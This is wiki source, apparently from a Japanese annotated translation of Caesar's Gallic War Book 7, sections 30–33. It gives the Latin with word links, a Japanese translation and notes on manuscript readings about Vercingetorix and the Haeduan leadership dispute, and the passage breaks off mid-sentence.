--&gt;

===30節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/30節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ガッリア勢がウェルキンゲトリークスに心服し、希望を抱く

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Fuit haec [[wikt:en:oratio#Latin|oratio]] non [[wikt:en:ingratus#Latin|ingrata]] [[wikt:en:Galli#Latin:_Gauls|Gallis]], 
**この演説は、ガッリア人たちにとっては不快なものではなかった。
*et maxime, quod ipse animo non [[wikt:en:defecerat#Latin|defecerat]], [[wikt:en:tantus#Latin|tanto]] [[wikt:en:acceptus#Latin|accepto]] [[wikt:en:incommodum#Latin|incommodo]], 
**──というのは、とりわけ&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身がこれほどの敗北を蒙っても意気消沈することなく、
*neque &lt;u&gt;se&lt;/u&gt; [[wikt:en:in_occultum#Latin|in occultum]] [[wikt:en:abdiderat#Latin|abdiderat]] 
**秘密の場所に身を隠したり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の再帰代名詞 se は 最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|''ed. pr.'']] で挿入されたもので、主要写本 &amp;omega; にはない。）&lt;/span&gt;
*et [[wikt:en:conspectus#Latin:_noun|conspectum]] [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:fugerat#Latin|fugerat]]&lt;!--,--&gt;; 
**大勢の見ているところを避けたりしなかったからである──。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:plus#Latin:_adverb|plus]]&lt;nowiki&gt;que&lt;/nowiki&gt; animo [[wikt:en:provideo#Latin|providere]] et [[wikt:en:praesentio#Latin|praesentire]] [[wikt:en:existimabatur#Latin|existimabatur]], 
**&lt;small&gt;（ウェルキンゲトリークスは他の者よりも）&lt;/small&gt;より先見の明があり、予感していると考えられていた。
*quod re [[wikt:en:integer#Latin|integra]] 
**──というのは、事態が手つかずのままで、
*[[wikt:en:primo#Latin:_adverb|primo]] [[wikt:en:incendendus#Latin|incendendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:Avaricum#Latin|Avaricum]], 
**当初はアウァーリクムが焼き払われるべきだと&lt;small&gt;（主張し）&lt;/small&gt;、
*post [[wikt:en:deserendus#Latin|deserendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, [[wikt:en:censuerat#Latin|censuerat]]. 
**後には&lt;small&gt;（アウァーリクムは）&lt;/small&gt;放棄されるべきだ、と主張していたからだ──。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:itaque#Latin|Itaque]] &lt;u&gt;ut&lt;/u&gt; [[wikt:en:reliquus#Latin|reliquorum]] [[wikt:en:imperator#Latin|imperatorum]] res adversae [[wikt:en:auctoritas#Latin|auctoritatem]] [[wikt:en:minuunt#Latin|minuunt]], 
**それゆえに、逆境がほかの将軍たちの影響力を減ずる一方で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ut#Conjunction|ut]] ～, [[wikt:en:sic#Latin|sic]] …「～であるように、同様に…」あるいは「～である一方で、…」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:res#Latin|res]] [[wikt:en:adversus#Participle|adversae]]「逆境、（戦争における）敗北」。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; huius &lt;u&gt;ex contrario&lt;/u&gt; [[wikt:en:dignitas#Latin|dignitas]] &lt;u&gt;incommodo&lt;/u&gt; [[wikt:en:acceptus#Latin|accepto]] &lt;u&gt;in dies&lt;/u&gt; [[wikt:en:augebatur#Latin|augebatur]]. 
**それどころか、彼の威厳は、災難を蒙っても、日ごとに高まっていたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ex_contrario#Latin|ex contrario]]「それどころか」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:incommodum#Latin|incommodum]]「不運、災難、（戦争における）敗北」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_dies#Latin|in dies]]「日に日に」「日ごとに」。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|Simul]] &lt;u&gt;in spem [[wikt:en:veniebant#Latin|veniebant]]&lt;/u&gt; eius [[wikt:en:adfirmatio#Latin|adfirmatione]] de reliquis [[wikt:en:adiungendus#Latin|adiungendis]] [[wikt:en:civitas#Latin|civitatibus]]; 
**同時に、彼の断言によって&lt;small&gt;（ガッリア人たちは）&lt;/small&gt;ほかの諸部族を合流させることについて希望を抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:spes#Latin|spem]] [[wikt:en:venio#Latin|venire]]「希望を抱くようになる」。）&lt;/span&gt;
*[[wikt:en:primum#Adverb|primum]]&lt;nowiki&gt;que&lt;/nowiki&gt; eo tempore [[wikt:en:Galli#Latin:_Gauls|Galli]] [[wikt:en:castra#Latin|castra]] [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerunt#Latin|instituerunt]], 
**そのときに初めて、ガッリア人たちは陣営の防備を固めることに着手した。
*et &lt;u&gt;sic&lt;/u&gt; &lt;u&gt;sunt&lt;/u&gt; animo &lt;u&gt;consternati&lt;/u&gt;, homines [[wikt:en:insuetus#Latin|insueti]] [[wikt:en:labor#Latin|laboris]], 
**&lt;small&gt;（陣営の防備という）&lt;/small&gt;労苦に慣れていない人々が、&lt;u&gt;気持ちが狼狽していたので、&lt;/u&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sic]] ～, [[wikt:en:ut#Conjunction|ut]] …「～であるので、その結果…ほどだった」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の sunt は主要写本 &amp;omega; の記述だが、erant とする修正提案もある。&lt;br&gt;　　　　sunt なら未完了過去 (sunt consternati)、erant なら過去完了 (erant consternati) になる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:consternati#Latin|consternati]] は主要写本 &amp;omega; の記述だが、&lt;br&gt;　　　　　　　　 ''[[ガリア戦記/注解編/写本と校訂版#Nipperdey|Nipperdey]]'' は [[wikt:en:confirmati#Latin|confirmati]] と修正提案している。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：写本の読みは sunt [[wikt:en:consternati#Latin|consternati]] 「（彼らは）恐怖に陥っていた、混乱していた。」だが、&lt;br&gt;　　　　修正読みでは sunt [[wikt:en:confirmati#Latin|confirmati]] 「（彼らは）励まされた」。）&lt;/span&gt;
*&lt;u&gt;ut&lt;/u&gt; omnia, quae [[wikt:en:imperarentur#Latin|imperarentur]], sibi [[wikt:en:patiendus#Latin|patienda]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; &lt;u&gt;et perferenda &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;&lt;/u&gt; [[wikt:en:existimarent#Latin|existimarent]].
**自分たちにとって、命令されたことすべてを耐えるべきであり、&lt;u&gt;成就するべきである&lt;/u&gt;と考えるに至ったほどであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の et [[wikt:en:perferenda#Latin|perferenda]] (esseは省略されている) は&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===31節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/31節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ウェルキンゲトリークスがほかの諸部族を勧誘し、兵力を補充する

:　
;　　　ウェルキンゲトリークスが、さらに多くの部族に同盟を誘いかける
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Nec minus, quam est [[wikt:en:pollicitus#Latin|pollicitus]], 
**約束したことに劣らず、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] [[wikt:en:minus#Adverb_4|minus]] [[wikt:en:quam#Latin|quam]] ～「～に劣らず」。）&lt;/span&gt;
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] animo [[wikt:en:laborabat#Latin|laborabat]], ut reliquas [[wikt:en:civitas#Latin|civitates]] [[wikt:en:adiungeret#Latin|adiungeret]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ほかの諸部族を加盟させるように、心から努力した。
*atque &lt;u&gt;earum principes donis pollicitationibusque&lt;/u&gt; [[wikt:en:adliciebat#Latin|adliciebat]]. 
**それらの領袖たちに贈物を約束することによって、誘い込もうとしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では earum [[wikt:en:princeps#Noun_3|principes]] [[wikt:en:donum#Latin|donis]] [[wikt:en:pollicitatio#Latin|pollicitationibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では eas donis pollicitationibus となっている。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Huic rei [[wikt:en:idoneus#Latin|idoneos]] homines [[wikt:en:deligebat#Latin|deligebat]], 
**この事&lt;small&gt;〔同盟に誘うこと〕&lt;/small&gt;に適切な人物たちを&lt;small&gt;（ウェルキンゲトリークスが）&lt;/small&gt;選び出して、
*quorum [[wikt:en:quisque#Latin|quisque]] aut [[wikt:en:oratio#Latin|oratione]] [[wikt:en:subdolus#Latin|subdola]] aut [[wikt:en:amicitia#Latin|amicitia]] 
**その者たちのおのおのは、巧妙な演説により、あるいは友情により、
*[[wikt:en:facillime#Latin|facillime]] &lt;u&gt;capere&lt;/u&gt; posset. 
**かなり容易に&lt;small&gt;（同盟者を）&lt;/small&gt;得ることができた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系写本･写本Lでは [[wikt:en:capere#Latin|capere]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:capi#Latin|capi]] となっている。）&lt;/span&gt;

:　
;　　　アウァーリクムからの逃亡者たちに、武具と衣服を支給する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;span style=&quot;color:#009900;&quot;&gt;[eos]&lt;/span&gt; qui [[wikt:en:Avaricum#Latin|Avarico]] [[wikt:en:expugnatus#Latin|expugnato]] [[wikt:en:refugerant#Latin|refugerant]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;アウァーリクムが攻略されたので逃げて来ていた者たちに、
*[[wikt:en:armandus#Latin|armandos]] [[wikt:en:vestiendus#Latin|vestiendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:curat#Latin|curat]]; 
**武装させられ、服を着せられるように、手配する。
:　
;　　　同盟部族に徴集する兵員の数と集まる期日を指示する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|simul]], ut [[wikt:en:deminutus#Latin|deminutae]] [[wikt:en:copiae#Latin|copiae]] [[wikt:en:redintegrarentur#Latin|redintegrarentur]], 
**同時に、減り衰えた軍勢が補充されるように、
*[[wikt:en:imperat#Latin|imperat]] [[wikt:en:certus#Latin|certum]] &lt;u&gt;numerum&lt;/u&gt; militum civitatibus, &lt;u&gt;quem&lt;/u&gt; et &lt;u&gt;quam ante diem&lt;/u&gt; in castra [[wikt:en:adduci#Latin|adduci]] [[wikt:en:velit#Latin|velit]], 
**諸部族に、兵の一定の&lt;u&gt;数&lt;/u&gt;を&lt;u&gt;どれほど&lt;/u&gt;、かつ、&lt;u&gt;いつの日の前までに&lt;/u&gt;陣営に連れて来ることを欲しているかを指図し、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quem]] [[wikt:en:numerus#Latin|numerum]] 「どれほどの数を」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quam]] ante [[wikt:en:dies#Latin|diem]] 「いつの日の前までに」。）&lt;/span&gt;
*[[wikt:en:sagittarius#Noun|sagittarios]]&lt;u&gt;que&lt;/u&gt; omnes, quorum erat [[wikt:en:permagnus#Latin|permagnus]] &lt;u&gt;numerus in Gallia&lt;/u&gt;, [[wikt:en:conquiri#Latin|conquiri]] et ad se [[wikt:en:mitti#Latin|mitti]] [[wikt:en:iubet#Latin|iubet]]. 
**ガッリアにかなり大勢がいた弓兵のすべてを、徴募して自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ派遣することを命じる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順は numerus in Gallia で、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順は in Gallia numerus となっている。）&lt;/span&gt;
*His rebus celeriter id, quod [[wikt:en:Avaricum#Latin|Avarici]] [[wikt:en:deperierat#Latin|deperierat]], [[wikt:en:expletur#Latin|expletur]]. 
**これらの事により、速やかに、アウァーリクムで壊滅していたそれら&lt;small&gt;（の軍勢）&lt;/small&gt;が補充される。
:　
;　　　ニティオブロゲース族の王テウトマトゥスが、騎兵隊らとともにウェルキンゲトリークスに合流する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Teutomatus#Latin|Teutomatus]], [[wikt:en:Ollovico#Latin|Olloviconis]] filius, rex &lt;u&gt;Nitiobrogum&lt;/u&gt;, 
**その間に、オッロウィコーの息子で、ニティオブロゲース族の王であるテウトマトゥスが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では Nitiobrogum だが、&lt;br&gt;　　　　　　　　　写本Uの一部では [[wikt:en:Nitiobriges#Latin|Nitiobrigum]] となっている。）&lt;/span&gt;
*cuius pater ab [[wikt:en:senatus#Latin|senatu]] nostro amicus erat [[wikt:en:appellatus#Latin|appellatus]], 
**その父&lt;small&gt;〔オッロウィコー〕&lt;/small&gt;は、我が方&lt;small&gt;〔ローマ人〕&lt;/small&gt;の[[w:元老院 (ローマ)|元老院]]から友人と呼ばれていたのだが、
*cum magno [[wikt:en:eques#Latin|equitum]] suorum numero et quos ex [[wikt:en:Aquitania#Latin|Aquitania]] [[wikt:en:conduxerat#Latin|conduxerat]] ad eum [[wikt:en:pervenit#Etymology_2|pervenit]].
**自らの騎兵の多数およびアクィーターニアから募っていた者たちとともに、彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ到着した。

&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==ゲルゴウィア攻略戦、ハエドゥイー族の離反==
{{wikipedia|ゲルゴウィアの戦い}}
{{wikipedia|en:Battle of Gergovia}}
{{wikipedia|la:Obsidio Gergoviensis}}
===32節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/32節]]　{{進捗|00%|2026-09-23}}&lt;/span&gt;
;ハエドゥイー族内紛の危機

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar [[wikt:en:Avarici#Latin|Avarici]] complures dies [[wikt:en:commoratus#Latin|commoratus]] 
**カエサルは、アウァーリクムに幾日も留まって、
*[[wikt:en:summus#Latin|summam]]&lt;nowiki&gt;que&lt;/nowiki&gt; ibi [[wikt:en:copia#Latin|copiam]] [[wikt:en:frumentum#Latin|frumenti]] et reliqui [[wikt:en:commeatus#Latin:_noun|commeatus]] [[wikt:en:nactus#Latin|nactus]] 
**そこでかなり多量の糧食やほかの必需品を手に入れて、
*[[wikt:en:exercitus#Latin:_noun|exercitum]] ex [[wikt:en:labor#Latin:_work|labore]] atque [[wikt:en:inopia#Latin:_noun|inopia]] &lt;u&gt;reficit&lt;/u&gt;. 
**軍隊を労苦や欠乏から回復させた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･&amp;beta;系写本では [[wikt:en:reficit#Latin|reficit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;phi;系写本では [[wikt:en:refecit#Latin|refecit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Iam [[wikt:en:prope#Adverb|prope]] [[wikt:en:hiems#Latin|hieme]] [[wikt:en:confectus#Latin|confecta]], 
**すでに、ほぼ冬は過ぎ去り、
*cum ipso anni tempore ad [[wikt:en:gerendus#Latin|gerendum]] bellum [[wikt:en:vocaretur#Latin|vocaretur]] et ad hostem [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:constituisset#Latin|constituisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;まさにその時季に戦争を遂行するために呼び寄せられて、敵の方へ発つことを決意していたときに、
*&lt;u&gt;sive&lt;/u&gt; eum ex [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:elicio#Latin|elicere]] &lt;u&gt;sive&lt;/u&gt; [[wikt:en:obsidio#Latin|obsidione]] [[wikt:en:premo#Latin|premere]] [[wikt:en:posset#Latin|posset]], 
**&lt;u&gt;あるいは&lt;/u&gt;&lt;small&gt;（敵を）&lt;/small&gt;沼地や森林から誘い出せるか、&lt;u&gt;あるいは&lt;/u&gt;包囲により圧倒することができるか、というときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：sive ～ sive …「あるいは～、あるいは…」）&lt;/span&gt;
*[[wikt:en:legatus#Latin:_noun|legati]] ad eum [[wikt:en:princeps#Latin:_noun|principes]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:veniunt#Latin|veniunt]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領袖たちが使節として彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへやって来る。
*[[wikt:en:oratum#Latin:_supine|oratum]], ut maxime [[wikt:en:necessarius#Latin:_unavoidable|necessario]] tempore [[wikt:en:civitas#Latin|civitati]] [[wikt:en:subveniat#Latin|subveniat]]&lt;!--;--&gt;: 
**きわめて緊急の時に、部族を助けてくれるように、と頼むために。

:　
;　　　ハエドゥイー族の救援要請（以下、間接話法）
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|summo]] esse in [[wikt:en:periculum#Latin|periculo]] rem, 
**事態は最大の危機にある。
*quod, cum [[wikt:en:singulus#Latin|singuli]] [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:antiquitus#Latin|antiquitus]] [[wikt:en:creari#Latin|creari]] atque [[wikt:en:regius#Latin|regiam]] [[wikt:en:potestas#Latin|potestatem]] &lt;u&gt;annum&lt;/u&gt; [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:consuessent#Latin|consuessent]], 
**──というのは、昔から一人ずつの統領が選出されて、一年ごとに支配権力に就くことが常であったのに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第1巻#16節|第1巻16節]]によれば、ウェルゴブレトゥス [[w:la:Vergobretus|Vergobretus]]という最高官職が毎年選ばれて大権を司る。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:annum#Latin|annum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:annuam#Adjective|annuam]] となっている。）&lt;/span&gt;
*duo [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gerant#Latin|gerant]] 
**2名が統領を司り、
*et se [[wikt:en:uterque#Latin|uterque]] eorum legibus &lt;u&gt;creatum esse&lt;/u&gt; [[wikt:en:dicat#Latin:_speak|dicat]]. 
**彼らの双方ともに自分は法により&lt;small&gt;〔合法的に〕&lt;/small&gt;選出されたのであると言っているのだから──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:creatus#Latin|creatum]] esse だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では esse は省かれている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
{{wikipedia|en:Convictolitavis}}
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Horum esse alterum [[wikt:en:Convictolitavis#Latin|Convictolitavem]], [[wikt:en:florens#Latin|florentem]] et [[wikt:en:inlustris#Latin|inlustrem]] [[wikt:en:adulescens#Noun|adulescentem]]&lt;!--,--&gt;; 
**彼らの一方は、コンウィクトリタウィスで、声望があり、秀でた青年である。
*alterum [[wikt:en:Cotus#Latin|Cotum]], [[wikt:en:antiquissimus#Latin|antiquissima]] familia [[wikt:en:natus#Latin:_born|natum]] 
**他方は、コトゥスで、とても古くからの家系に生まれて、
*atque ipsum hominem summae [[wikt:en:potentia#Latin|potentiae]] et magnae [[wikt:en:cognatio#Latin|cognationis]], 
**自身も最大勢力と多くの縁戚関係をもつ人物であり、
*cuius frater Valetiacus proximo anno eundem [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gesserit#Latin|gesserit]]. 
**その兄弟ウァレティアクスは前年に同じ統領を司っていたのである。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Civitatem esse omnem in [[wikt:en:arma#Latin|armis]]; 
**部族は皆が武装している。
*[[wikt:en:divisus#Latin|divisum]] [[wikt:en:senatus#Latin|senatum]], divisum [[wikt:en:populus#Latin:_people|populum]], &lt;u&gt;suas&lt;/u&gt; [[wikt:en:cuiusque#Latin|cuiusque]] eorum [[wikt:en:clientela#Latin|clientelas]]. 
**評議会も分裂し、民衆も分裂し、彼ら&lt;small&gt;〔2名〕&lt;/small&gt;の&lt;small&gt;（それぞれの）&lt;/small&gt;庇護民となっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の suas は主要写本&amp;omega;の記述だが、より劣った写本では in suas となっている。）&lt;/span&gt;
*[[wikt:en:quodsi#Latin|Quodsi]] [[wikt:en:diutius#Latin|diutius]] [[wikt:en:alatur#Latin|alatur]] [[wikt:en:controversia#Latin|controversia]], 
**もしこれ以上、紛争が進められれば、
*fore uti pars cum parte civitatis [[wikt:en:confligat#Latin|confligat]]. 
**部族の派閥と派閥が激突することになるであろう。
*Id ne [[wikt:en:accidat#Etymology_1|accidat]], [[wikt:en:positus#Latin|positum]] in eius [[wikt:en:diligentia#Latin|diligentia]] atque [[wikt:en:auctoritas#Latin|auctoritate]].
**それが起こらないかは、彼（カエサル）の入念さと影響力にかかっている。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===33節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/33節]]　{{進捗|00%|2026-10-04}}&lt;/span&gt;
;カエサルがハエドゥイー族の権力をコンウィクトリタウィスに与える

:　
;　　　カエサルが、ハエドゥイー族の内紛を危惧する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar, &lt;u&gt;etsi&lt;/u&gt; a bello atque hoste [[wikt:en:discedo#Latin|discedere]] [[wikt:en:detrimentosus#Latin|detrimentosum]] esse [[wikt:en:existimabat#Latin|existimabat]], 
**カエサルは、戦争や敵から離れることは損害をもたらすものである、と考えていたのではあるが、
*&lt;u&gt;tamen&lt;/u&gt; non [[wikt:en:ignorans#Latin|ignorans]], [[wikt:en:quantus#Latin|quanta]] ex [[wikt:en:dissensionibus#Latin|dissensionibus]] [[wikt:en:incommodum#Noun|incommoda]] [[wikt:en:oriri#Latin|oriri]] [[wikt:en:consuessent#Latin|consuessent]], 
**しかしながら、[[wikt:ja:内訌|内訌]]からどれほどの災厄が生じることが常であるか、知らないではなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～, [[wikt:en:tamen#Latin|tamen]] …「～ではあるが、しかしながら…」）&lt;/span&gt;
*ne [[wikt:en:tantus#Latin|tanta]] et [[wikt:en:tam#Latin|tam]] [[wikt:en:coniunctus#Latin:_participle|coniuncta]] [[wikt:en:populus#Latin|populo]] [[wikt:en:Romanus#Adjective|Romano]] [[wikt:en:civitas#Latin|civitas]], 
**──これほど大きく、これほどローマ人民と協同している&lt;small&gt;（ハエドゥイーの）&lt;/small&gt;{{ruby|部族国家|キーウィタース}}が、
*quam ipse semper [[wikt:en:aluisset#Latin|aluisset]] [[wikt:en:omnis#Latin|omnibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; rebus [[wikt:en:ornasset#Latin|ornasset]], 
**彼らのことを&lt;small&gt;（カエサル）&lt;/small&gt;自身は常に助成して、かつあらゆる事柄で敬意を表していたのだが、
*ad [[wikt:en:vis#Latin|vim]] atque [[wikt:en:arma#Latin|arma]] [[wikt:en:descenderet#Latin|descenderet]], 
**&lt;small&gt;（彼らが内紛という）&lt;/small&gt;暴力や戦乱に沈み込まないように、
*atque ea pars, quae [[wikt:en:minus#Latin:_adverb|minus]] sibi [[wikt:en:confideret#Latin|confideret]], [[wikt:en:auxilia#Latin|auxilia]] a [[wikt:en:Vercingetorix#Latin|Vercingetorige]] [[wikt:en:arcesseret#Latin|arcesseret]], 
**かつ、自分たちにとって劣勢だと確信している一派が[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の支援を呼び寄せないように──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ civitas, ～ descenderet, ～ arcesseret「～部族が、～沈まないように、～招かないように」）&lt;/span&gt;
*huic rei [[wikt:en:praevertendus#Latin|praevertendum]] [[wikt:en:existimavit#Latin|existimavit]], 
**この事柄は&lt;small&gt;（戦争遂行よりも）&lt;/small&gt;優先されるべき、と考えた。
:　
;　　　ハエドゥイー族の内紛を沙汰すべく、カエサル自らが赴く
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, quod [[wikt:en:lex#Latin|legibus]] [[wikt:en:Haedui#Latin|Haeduorum]] iis, qui summum [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:obtinerent#Latin|obtinerent]], [[wikt:en:excedo#Latin|excedere]] ex finibus non [[wikt:en:liceret#Latin|liceret]], 
**──というのは、[[w:ハエドゥイ族|ハエドゥイー族]]の法により、最高官職に就いている者は領土から出ることを許されないので──
*ne [[wikt:en:aliquid#Latin:_pronoun|quid]] de [[wikt:en:ius#Latin:_justice|iure]] aut de [[wikt:en:lex#Latin|legibus]] eorum [[wikt:en:deminuisse#Latin|deminuisse]] [[wikt:en:videretur#Latin|videretur]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;彼らの法令あるいは法制について何ら軽視したとは思われないように、

[[画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。]]

*ipse in [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:statuit#Latin|statuit]] 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身がハエドゥイー族のもとに出発することを決心した。
*[[wikt:en:senatus#Latin|senatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et &lt;u&gt;quos inter [[wikt:en:controversia#Latin|controversia]] [[wikt:en:esset#Latin:_be|esset]]&lt;/u&gt; 
**かつ、&lt;u&gt;評議会&lt;/u&gt;の全員、および紛争が介在しているところの者たちを
